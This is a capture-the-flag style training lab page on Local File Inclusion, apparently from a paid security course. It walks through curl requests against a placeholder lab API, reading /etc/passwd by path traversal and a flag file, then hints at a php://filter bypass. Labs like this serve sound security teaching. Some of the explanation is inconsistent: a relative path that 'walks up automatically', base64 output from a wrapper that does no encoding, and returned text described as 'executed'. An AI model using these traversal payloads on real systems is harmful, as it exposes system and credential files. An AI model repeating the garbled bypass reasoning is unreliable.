Local File Inclusion
A site takes a page name from the URL and includes the corresponding file. It does not check that the file is one it expects. Include a file the app can read but never meant to serve — and its contents come back to you.
The rule: the page endpoint at /api/21/page includes files from /pages. There is a file with the flag outside that directory. Include it.
Test
Copy these. Run them. Read what comes back.
Step 1 · Read a normal page
The endpoint takes a page name. Start with a valid page.
curl -s "{LAB_API_BASE}/api/21/page?name=about"What you'll see:
About this lab. This is the page you asked for.
The server included about from its pages directory. The response is the file's content.
Step 2 · Try to include a file from outside
The endpoint does not sanitize the name. It just prepends the pages directory and includes. Try walking out of it.
curl -s "{LAB_API_BASE}/api/21/page?name=../etc/passwd"What you'll see:
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
The include pulled /etc/passwd out of the filesystem. That is the difference between path traversal and LFI: path traversal reads the file, LFI executes it as code. If the included file contains PHP, the PHP runs.
Step 3 · Include the flag file
The mock environment has a file at /secret/flag.txt containing the flag. Include it.
curl -s "{LAB_API_BASE}/api/21/page?name=../secret/flag.txt"What you'll see:
HL{l0c4l_f1l3_1nclus10n}The flag file was included and its contents executed — in this case, returned. In a real PHP application, an include of a .php file would run the PHP, giving the attacker full code execution.
Challenge
Now do it yourself. No copy-paste. Everything you need is above.
The LFI handler now has a filter: it rejects any name containing .. and it rejects any name with a / at the start. But the include path is still relative. There is a way to walk the tree without either: absolute path without slash — use the php://filter wrapper.
php://filter/convert.base64-encode/resource=../secret/deep.txt reads the file, base64-encodes it, and returns it — but it contains .. so the filter blocks it.
Try instead: php://filter/resource=secret/deep.txt — because the include path is relative to the pages directory, and the filter is applied only to the raw name, the server will walk up automatically. The flag is in the base64 output.
Solved.
You included a file the server never meant to serve. Read why it happened and how to prevent it — in Lesson 21.
Read Lesson 21 in the bookThis lab is free. The deep and the full knowledge is in the book. Full 30 Lessons
Lesson 21 — Local File Inclusion
You've practiced the exploit. Now learn why it happens, how attackers weaponize it, developer mistakes, how to fix it etc in the full Hunterlian book.
Buy the bookAlready have the book? Back to reader →